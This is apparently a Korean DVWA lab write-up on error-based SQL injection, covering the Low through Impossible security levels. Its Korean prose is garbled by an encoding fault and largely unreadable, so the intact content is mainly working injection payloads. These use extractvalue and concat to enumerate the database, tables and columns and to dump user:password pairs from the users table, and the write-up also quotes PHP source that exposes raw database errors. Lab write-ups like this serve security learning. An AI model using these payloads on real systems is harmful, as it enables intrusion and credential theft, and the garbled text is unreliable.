Vulnerability: SQL Injection
Error Based SQL Injection์ ์ด์ฉํ์ฌ DB ๋ด๋ถ์ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ๋ ๊ฒ์ ๋ชฉ์ ์ผ๋ก ํ๋ค.
DVWA SQL Injection ์ค์ต
์ค์ต ํ๊ฒฝ
- Windows Docker๋ฅผ ์ด์ฉํ DVWA
- Windows ํ๊ฒฝ์ Burp Suite
Security Level: Low
Low ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ ๋ ฅ๊ฐ์ ๋ํ์ฌ ์๋ฌ๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ, ์๋ฌ ๋ฉ์์ง์ ์๋ฌ์ ๋ํ ์ ๋ณด๋ฅผ ๊ทธ๋๋ก ์ถ๋ ฅํด์ฃผ๊ณ ์๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ Error Based SQLi ๋ฅผ ์๋ํด๋ณธ๋ค.
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
DB ์ด๋ฆ ํ์ธํ๊ธฐ
x' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
์์ ๊ฐ์ด DB ์ด๋ฆ์ dvwa์ธ ๊ฒ์ ์ ์ ์๋ค.
TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
x' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'dvwa'))) and '1'='1
Error Based์ ๊ฒฐ๊ณผ ๊ฐ์ ํ ์ค๋ง ์ถ๋ ฅ์ด ๊ฐ๋ฅํ๋ฐ, ๊ฒฐ๊ณผ ๊ฐ์ด ์ฌ๋ฌ์ค์ด๋ผ์ ์๋ฌ๊ฐ ๋ฐ์ํ์๋ค. limit์ ์ด์ฉํ์ฌ ํ์ค ์ฉ ์ถ๋ ฅํ์ฌ ์ํ๋ ์ ๋ณด๋ฅผ ํ์ธํ๋ค.
x' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1))) and '1'='1
์์ ๊ฐ์ด guestbook, users ๋ผ๋ ์ด๋ฆ์ ํ ์ด๋ธ์ด ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
์์ ๋ ํ ์ด๋ธ ์ค users ํ ์ด๋ธ์ด ํ์์ ๋ณด์ด๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ํ์ธํด ๋ณผ ๊ฒ์ด๋ค. ์์ ๋์ผํ๊ฒ ์ฌ๋ฌ์ค ์ด๊ธฐ ๋๋ฌธ์ limit๋ฅผ ์ด์ฉํ์ฌ ํ ์ค์ฉ ์ถ๋ ฅํด์ค๋ค.
x' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'users' limit 3,1))) and '1'='1
users ํ ์ด๋ธ์์ ์ํ๋ ์ ๋ณด์ธ user, password ์ปฌ๋ผ์ ์กด์ฌ๋ฅผ ์ ์ ์๋ค. ์ด๋ฅผ ์ด๋ํด๋ณด๋๋ก ํ๋ค.
DATA ํ์ธํ๊ธฐ
user ์ปฌ๋ผ๊ณผ, password ์ปฌ๋ผ์ ๋์์ ์กฐํํ๊ณ ์ถ์๋ฐ Error Based์์๋ ํ์ค ์ฉ ๋ฐ์ ์ถ๋ ฅํ์ง ๋ชปํ๋ค. concat์ ์ด์ฉํ์ฌ ์ํ๋ ์ถ๋ ฅ๊ฐ์ ์ด์ด ๋ถ์ฌ์ ํ๋ฒ์ ์ถ๋ ฅํด ์ค ์ ์๋ค.
์กฐํํ๋ ์ปฌ๋ผ์ ์๊ฐ ์ ๊ฑฐ๋, ์๋ฌ ๋ฉ์์ง๋ฅผ ์ด์ฉํ๋ ๊ฒฝ์ฐ์๋ ์ฌ๋ฌ ์ค์ ํ๊บผ๋ฒ์ ์ด๋ํ๊ธฐ ๊ณค๋ํ๋ค. ์ด๋ฐ ๊ฒฝ์ฐ์๋ SQL์ Concat()ํจ์๋ฅผ ์ด์ฉํ๋ฉด ์๋์ ์ปฌ๋ผ ์ ๋ณด๋ค ๋ ๋ง์ ์ปฌ๋ผ์ ์กฐํํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
์์ ๊ฒฝ์ฐ๋ฅผ ์์๋ก ๋ค์ด๋ณด๋ฉด concat(user, ':', password) ๋ผ๊ณ ํ๋ฉด user:password ์ ๊ฐ์ด ์ฐ๊ฒฐ๋ ์ ๋ณด๋ฅผ ์กฐํํ ์ ์๋ค.
x' and extractvalue('1', concat(0x3a, (select concat(user, 0x3a, password) from users limit 0,1))) and '1'='1
์์ ๊ฐ์ด users ํ ์ด๋ธ์ user, password ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ ํ ์ธํธ์ฉ ๋ฌถ์ด์ ์ถ๋ ฅํ ์ ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
Security Level: Medium
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์์ค์ฝ๋์์ mysqli_real_escape_string์ ์ ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ ๋ ฅ๊ฐ์ผ๋ก '๋ฅผ ์ธ์ํ ์ ์๋ค.
๋ํ ์ฝค๋ณด๋ฐ์ค๋ก ์ ๋ ฅ์ ๋ฐ๊ธฐ ๋๋ฌธ์ ' ์์ด ์ซ์ ๊ฐ์ ๊ธฐ๋ณธ์ผ๋ก ์ ๋ ฅ๋ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ' ์์ด ์ ๋ ฅ์ ํ๊ธฐ ์ํด, WHERE๊ตฌ๋ฌธ์ ์ ์ฉ์ด ์ด๋ ค์์ ์ ์ฒด ๋ฐ์ดํฐ๋ค์ ๋ํ์ฌ LIMIT์ ์ด์ฉํ์ฌ ํ์ค์ฉ ํ์ธํด๋ณด๊ธฐ๋ก ํ๋ค.
DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ฐ์ DB์ ์ ๋ณด๋ฅผ ํ์ธํด๋ณธ๋ค.
1 and extractvalue(rand(),concat(0x3a,(select version())))
๋ค์์ผ๋ก DB ์ด๋ฆ์ ํ์ธํด๋ณธ๋ค.
1 and extractvalue(rand(),concat(0x3a,(select database())))
DB์ด๋ฆ์ dvwa์์ ์ ์ ์๋ค.
TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
๋ค์์ผ๋ก dvwa DB์ ํ ์ด๋ธ์ ํ์ธํด๋ณธ๋ค.
1 and extractvalue(rand(),concat(0x3a,(select table_name from information_schema.tables limit 1,1)))
guestbook๊ณผ users ํ ์ด๋ธ์ ํ์ธํ ์ ์๋ค.
COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
1 and extractvalue(rand(),concat(0x3a,(select column_name from information_schema.columns limit 7,1)))
users ํ ์ด๋ธ์ user์ password ์ปฌ๋ผ์ ํ์ธํ ์ ์๋ค.
DATA ํ์ธํ๊ธฐ
user, password ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ ๋ฌถ์ด์ ์ธํธ๋ก ํ์ค์ฉ ํ์ธํด๋ณธ๋ค.
1 and extractvalue(rand(),concat(0x3a,(select concat(user,0x3a,password)from users limit 0,1)))
์์ ๊ฐ์ด ๋ฐ์ดํฐ๊ฐ ๋ฌถ์ฌ์ user,password๊ฐ ํ ์ธํธ๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: High
High ๋ ๋ฒจ๋ถํฐ๋ Error ๋ฉ์์ง์ ๋ํ ์ฒ๋ฆฌ๊ฐ ๋ฌ๋ผ์ง๋ค.
Low ๋ ๋ฒจ๊ณผ Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ์๋ ๋ค์๊ณผ ๊ฐ์ด ์๋ฌ ๋ฉ์์ง๊ฐ ์๋ฌ์ ๋ด์ฉ์ ๊ทธ๋๋ก ์ถ๋ ฅํด์ค๋ค.
ํ์ง๋ง High ๋ ๋ฒจ์ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด ์๋ฌ๊ฐ ๋ฐ์ํ์ ๋, ์๋ฌ์ ๋ด์ฉ์ ์ถ๋ ฅํ์ง ์๊ณ , 'Something went wrong' ์ด๋ผ๋ ๊ณ ์ ๋ ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ๋ค.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ High๋ ๋ฒจ์์์ Error Based SQL Injection์ ๋ถ๊ฐ๋ฅํ๋ค.
์์ ๊ฐ์ด ์ผ๊ด๋ ์๋ฌ ๋ฉ์์ง๊ฐ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: Impossible
Impossible ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ ์ด์ SQL Injection์ด ๋ถ๊ฐ๋ฅํ๊ณ , ์ ํด์ง ๊ฐ์ ๋ํ์ฌ๋ง ํ๋ผ๋ฏธํฐ๋ก์ ์ด์ฉํ๊ธฐ ๋๋ฌธ์ ์๋ฌ ๋ฉ์์ง ๋ํ ๋ฐ๋ก ์ฒ๋ฆฌํ์ง ์๊ณ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์